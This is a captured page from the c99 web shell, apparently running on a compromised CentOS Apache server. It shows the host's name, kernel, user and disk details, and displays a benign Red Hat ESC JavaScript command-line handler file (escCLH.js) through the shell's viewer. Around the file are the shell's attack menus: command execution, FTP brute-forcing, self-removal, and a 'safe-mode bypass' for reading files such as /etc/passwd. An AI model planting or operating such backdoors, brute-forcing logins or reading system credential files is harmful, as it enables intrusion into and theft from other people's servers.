!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/esc-1.1.0/components/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     escCLH.js (4.95 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
* -myapp commandline handler; starts up My App.
*/

 const nsIAppShellService    = Components.interfaces.nsIAppShellService;
 const nsISupports           = Components.interfaces.nsISupports;
 const nsICategoryManager    = Components.interfaces.nsICategoryManager;
 const nsIComponentRegistrar = Components.interfaces.nsIComponentRegistrar;
 const nsICommandLine        = Components.interfaces.nsICommandLine;
 const nsICommandLineHandler = Components.interfaces.nsICommandLineHandler;
 const nsIFactory            = Components.interfaces.nsIFactory;
 const nsIModule             = Components.interfaces.nsIModule;
 const nsIWindowWatcher      = Components.interfaces.nsIWindowWatcher;

 var consoleService = Components
  .classes['@mozilla.org/consoleservice;1']
  .getService( Components.interfaces.nsIConsoleService );

 function recordMessage( message ) {
  consoleService.logStringMessage("esc: " + message  + "\n");
 }

/*
* Classes
*/
 
 const escCLH = {
   /* nsISupports */
   QueryInterface : function clh_QI(iid) {
       if (iid.equals(nsICommandLineHandler) ||
           iid.equals(nsIFactory) ||
           iid.equals(nsISupports))
           return this;

       throw Components.results.NS_ERROR_NO_INTERFACE;
   },

   /* nsICommandLineHandler */

   handle : function clh_handle(cmdLine) {
       var args = new Object();
       args.urlopt = false;

       recordMessage("handle command line");

       try {

           var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator);
           var win = wm.getMostRecentWindow(null);

           var showUsage = cmdLine.handleFlag("usage",false);

           recordMessage("ShowUsage flag: " + showUsage);
           if(showUsage) {
               cmdLine.preventDefault = true;
           }

           if(win)
           {
               recordMessage("Subsequent command invocation. Launch appropriate  page.");
               if(showUsage) 
               {
                   recordMessage("About to show usage.");
                   win.ShowUsage();
                   return;
               }
               var locName = win.location.toString();

               recordMessage("Base window . " + locName);

               win.SelectESCPageCMDLine();

               recordMessage("Done command line handling...");
               return;
           }
           
           var chromeURI = "chrome://esc/content/hiddenWindow.xul";

           recordMessage(chromeURI);

           var wwatch = Components.classes["@mozilla.org/embedcomp/window-watcher;1"]
                         .getService(nsIWindowWatcher);
           win = wwatch.openWindow(null, chromeURI, "_blank",
                     "chrome,dialog,height=-1,width=-1,popup=yes", cmdLine);


       }
       catch(e) {}

   },

   helpInfo : "  -myapp  Open the My App.\n",

   /* nsIFactory */

   createInstance : function clh_CI(outer, iid) {
       if (outer != null)
           throw Components.results.NS_ERROR_NO_AGGREGATION;

       return this.QueryInterface(iid);
   },

   lockFactory : function clh_lock(lock) {
       /* no-op */
   }
 };

 const clh_contractID = "@redhat.com/esc-clh;1";
 const clh_CID = Components.ID("{36c65861-52a8-4ce9-aa3b-235b88216ed4}");
 const clh_category = "c-esc";

 const escCLHModule = {
   /* nsISupports */

   QueryInterface : function mod_QI(iid) {
       if (iid.equals(nsIModule) ||
           iid.equals(nsISupports))
           return this;

       throw Components.results.NS_ERROR_NO_INTERFACE;
   },

   /* nsIModule */
   getClassObject : function mod_gch(compMgr, cid, iid) {
       if (cid.equals(clh_CID))
           return escCLH.QueryInterface(iid);

       throw Components.results.NS_ERROR_NOT_REGISTERED;
   },

   registerSelf : function mod_regself(compMgr, fileSpec, location, type) {
       compMgr.QueryInterface(nsIComponentRegistrar);

       compMgr.registerFactoryLocation(clh_CID,
                                       "escCLH",
                                       clh_contractID,
                                       fileSpec,
                                       location,
                                       type);

       var catMan = Components.classes["@mozilla.org/categorymanager;1"]
                              .getService(nsICategoryManager);
       catMan.addCategoryEntry("command-line-handler",
                               clh_category,
                               clh_contractID, true, true);
   },

   unregisterSelf : function mod_unreg(compMgr, location, type) {
       compMgr.QueryInterface(nsIComponentRegistrar);

       compMgr.unregisterFactoryLocation(clh_CID, location);

       var catMan = Components.classes["@mozilla.org/categorymanager;1"]
                              .getService(nsICategoryManager);
       catMan.deleteCategoryEntry("command-line-handler", clh_category);
   },

   canUnload : function (compMgr) {
       return true;
   }
 };

 /* Module initialisation */
 function NSGetModule(comMgr, fileSpec) {
   return escCLHModule;
 }

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--